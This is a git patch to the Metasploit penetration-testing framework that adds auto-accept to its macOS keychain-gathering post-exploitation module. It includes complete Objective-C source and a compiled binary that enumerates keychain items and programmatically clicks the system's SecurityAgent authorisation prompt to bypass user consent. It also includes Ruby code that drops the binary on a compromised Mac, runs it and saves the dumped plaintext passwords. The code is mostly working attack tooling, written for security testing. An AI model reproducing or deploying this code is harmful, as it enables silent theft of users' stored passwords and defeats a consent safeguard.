From 1b320bae6a85b4566f46948ed61398a384efb776 Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 7 Sep 2015 21:13:27 -0500 Subject: [PATCH] Add auto-accept to osx/enum_keychain. --- data/exploits/osx/dump_keychain/Makefile | 2 + data/exploits/osx/dump_keychain/dump | Bin 0 -> 19620 bytes data/exploits/osx/dump_keychain/dump.m | 161 +++++++++++++++++++++++ modules/post/osx/gather/enum_keychain.rb | 75 ++++++++--- 4 files changed, 217 insertions(+), 21 deletions(-) create mode 100644 data/exploits/osx/dump_keychain/Makefile create mode 100755 data/exploits/osx/dump_keychain/dump create mode 100644 data/exploits/osx/dump_keychain/dump.m diff --git a/data/exploits/osx/dump_keychain/Makefile b/data/exploits/osx/dump_keychain/Makefile new file mode 100644 index 0000000000..95607b40c7 --- /dev/null +++ b/data/exploits/osx/dump_keychain/Makefile @@ -0,0 +1,2 @@ +all: + gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump \ No newline at end of file diff --git a/data/exploits/osx/dump_keychain/dump b/data/exploits/osx/dump_keychain/dump new file mode 100755 index 0000000000000000000000000000000000000000..3396ab775b3dec0b7f928d2c8c84af428abbcbcf GIT binary patch literal 19620 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 literal 0 HcmV?d00001 diff --git a/data/exploits/osx/dump_keychain/dump.m b/data/exploits/osx/dump_keychain/dump.m new file mode 100644 index 0000000000..e18d915868 --- /dev/null +++ b/data/exploits/osx/dump_keychain/dump.m @@ -0,0 +1,161 @@ +// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump + +#import +#import +#import +#include +#include +#include + +#define TIMEOUT 3 + +void click(float x, float y) { + + CGEventRef move1 = CGEventCreateMouseEvent( + NULL, kCGEventMouseMoved, + CGPointMake(x, y), + kCGMouseButtonLeft // ignored + ); + CGEventRef click1_down = CGEventCreateMouseEvent( + NULL, kCGEventLeftMouseDown, + CGPointMake(x, y), + kCGMouseButtonLeft + ); + CGEventRef click1_up = CGEventCreateMouseEvent( + NULL, kCGEventLeftMouseUp, + CGPointMake(x, y), + kCGMouseButtonLeft + ); + + CGEventPost(kCGHIDEventTap, move1); + CGEventPost(kCGHIDEventTap, click1_down); + CGEventPost(kCGHIDEventTap, click1_up); + + // Release the events + CFRelease(move1); + CFRelease(click1_up); + CFRelease(click1_down); +} + +void parse_windows(int offx, int offy) { + CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); + for (NSMutableDictionary* entry in (NSArray*)windowList) + { + CGRect rect; + NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName]; + if ([ownerName isEqualToString: @"SecurityAgent"]) { + CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds]; + CGRectMakeWithDictionaryRepresentation(bounds, &rect); + float spotx = rect.origin.x + 385 + offx; + float spoty = rect.origin.y + rect.size.height - 25 + offy; + click(spotx, spoty); + } + + } + CFRelease(windowList); +} + +void poll_ui() { + while(1) { + sleep(0.0001); + parse_windows(0, 0); + } +} + +id tQuery = NULL; +CFTypeRef result = NULL; + +void prompt() { + SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result); +} + +void dump(NSArray *refs) { + NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs + options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string + error: NULL]; + [jsonData writeToFile: @"/dev/stdout" atomically: NO]; +} + +int main() { + pthread_t thread_prompt, thread_click; + NSArray *secItemClasses = [NSArray arrayWithObjects: + (__bridge id)kSecClassGenericPassword, + (__bridge id)kSecClassInternetPassword, + nil]; + NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys: + (__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef, + nil]; + NSMutableArray *refs = [NSMutableArray new]; + for (id secItemClass in secItemClasses) { + [query setObject:secItemClass forKey:(__bridge id)kSecClass]; + + CFTypeRef result1 = NULL; + SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1); + NSArray *data = (__bridge NSArray*)result1; + if (data) { + for (NSDictionary *item in data) { + if (!item) continue; + NSMutableDictionary *newItem = [NSMutableDictionary new]; + for (NSString* key in item) { + [newItem setObject:[[item objectForKey: key] description] forKey: key]; + } + [newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"]; + [refs addObject: newItem]; + } + if (result1 != NULL) CFRelease(result1); + } + } + + NSMutableArray *all = [NSMutableArray new]; + for (id ref in refs) { + tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys: + (__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData, + nil]; + for (id secItemClass in secItemClasses) { + [tQuery setObject:secItemClass forKey:(__bridge id)kSecClass]; + + result = NULL; + pthread_create(&thread_click, NULL, (void*)poll_ui, NULL); + pthread_create(&thread_prompt, NULL, (void*)prompt, NULL); + + time_t end = time(NULL) + TIMEOUT; + int found = 0; + while(time(NULL) < end) { + if (result != NULL) { + found = 1; + break; + } + sleep(0.1); + } + + pthread_cancel(thread_click); + pthread_cancel(thread_prompt); + + [ref removeObjectForKey: @"v_Ref"]; + + // we didnt find anything in TIMEOUT seconds. this can happen if the keychain + // is locked + if (!found) { + parse_windows(-80, 0); // click cancel + dump(all); // get out now + return 0; + } + + NSString *pass = @"(null)"; + if (result && [result bytes]) { + pass = [NSString stringWithUTF8String:[result bytes]]; + if (!pass) pass = @"(null)"; + } else { + pass = @"(null)"; + } + [ref setObject:pass forKey: @"Private"]; + [all addObject: ref]; + } + } + + dump(all); + return 0; +} diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index deb9ee7eb0..f27909c5ba 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -7,24 +7,30 @@ require 'msf/core' class Metasploit3 < Msf::Post + include Msf::Post::OSX::System + include Msf::Exploit::FileDropper + def initialize(info={}) super(update_info(info, 'Name' => 'OS X Gather Keychain Enumeration', 'Description' => %q{ This module presents a way to quickly go through the current user's keychains and collect data such as email accounts, servers, and other services. Please note: - when using the GETPASS option, the user will have to manually enter the password, - and then click 'allow' in order to collect each password. + when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication + alert flash briefly on their screen that gets dismissed by a programatically triggered click. }, 'License' => MSF_LICENSE, - 'Author' => [ 'ipwnstuff '], + 'Author' => [ 'ipwnstuff ', 'joev' ], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell' ] )) register_options( [ - OptBool.new('GETPASS', [false, 'Collect passwords.', false]) + OptBool.new('GETPASS', [false, 'Collect passwords.', false]), + OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]), + OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]), + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class) end @@ -40,27 +46,25 @@ class Metasploit3 < Msf::Post user = cmd_exec("whoami").chomp out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'") - i = 0 - accounts = {} + accounts = [] out.split("\n").each do |line| unless line =~ /NULL/ case line when /\"acct\"/ - i+=1 - accounts[i]={} - accounts[i]["acct"] = line.split('=')[1].split('"')[1] + accounts << Hash.new + accounts.last["acct"] = line.split('=')[1].split('"')[1] when /\"srvr\"/ - accounts[i]["srvr"] = line.split('=')[1].split('"')[1] + accounts.last["srvr"] = line.split('=')[1].split('"')[1] when /\"svce\"/ - accounts[i]["svce"] = line.split('=')[1].split('"')[1] + accounts.last["svce"] = line.split('=')[1].split('"')[1] when /\"desc\"/ - accounts[i]["desc"] = line.split('=')[1].split('"')[1] + accounts.last["desc"] = line.split('=')[1].split('"')[1] end end end - return accounts + accounts end def get_passwords(accounts) @@ -89,7 +93,7 @@ class Metasploit3 < Msf::Post end - def save(data) + def save(data, kind='Keychain information') l = store_loot('macosx.keychain.info', 'plain/text', session, @@ -97,7 +101,7 @@ class Metasploit3 < Msf::Post 'keychain_info.txt', 'Mac Keychain Account/Server/Service/Description') - print_good("#{@peer} - Keychain information saved in #{l}") + print_good("#{@peer} - #{kind} saved in #{l}") end def run @@ -114,14 +118,43 @@ class Metasploit3 < Msf::Post save(accounts) if datastore['GETPASS'] - begin - passwords = get_passwords(accounts) - rescue - print_error("#{@peer} - Module timed out, no passwords found.") - print_error("#{@peer} - This is likely due to the host not responding to the prompt.") + if (datastore['GETPASS_AUTO_ACCEPT']) + print_status("Writing auto-clicker to `#{clicker_file}'") + write_file(clicker_file, clicker_bin) + register_file_for_cleanup(clicker_file) + + print_status('Dumping keychain with auto-clicker...') + passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT']) + save(passwords, 'Plaintext passwords') + + begin + count = JSON.parse(passwords).count + print_good("Successfully stole #{count} passwords") + rescue JSON::ParserError => e + print_error("Response was not valid JSON") + end + else + begin + passwords = get_passwords(accounts) + rescue + print_error("#{@peer} - Module timed out, no passwords found.") + print_error("#{@peer} - This is likely due to the host not responding to the prompt.") + end + save(passwords) end - save(passwords) end end + def clicker_file + @clicker_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def clicker_bin + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump' + )) + end + + end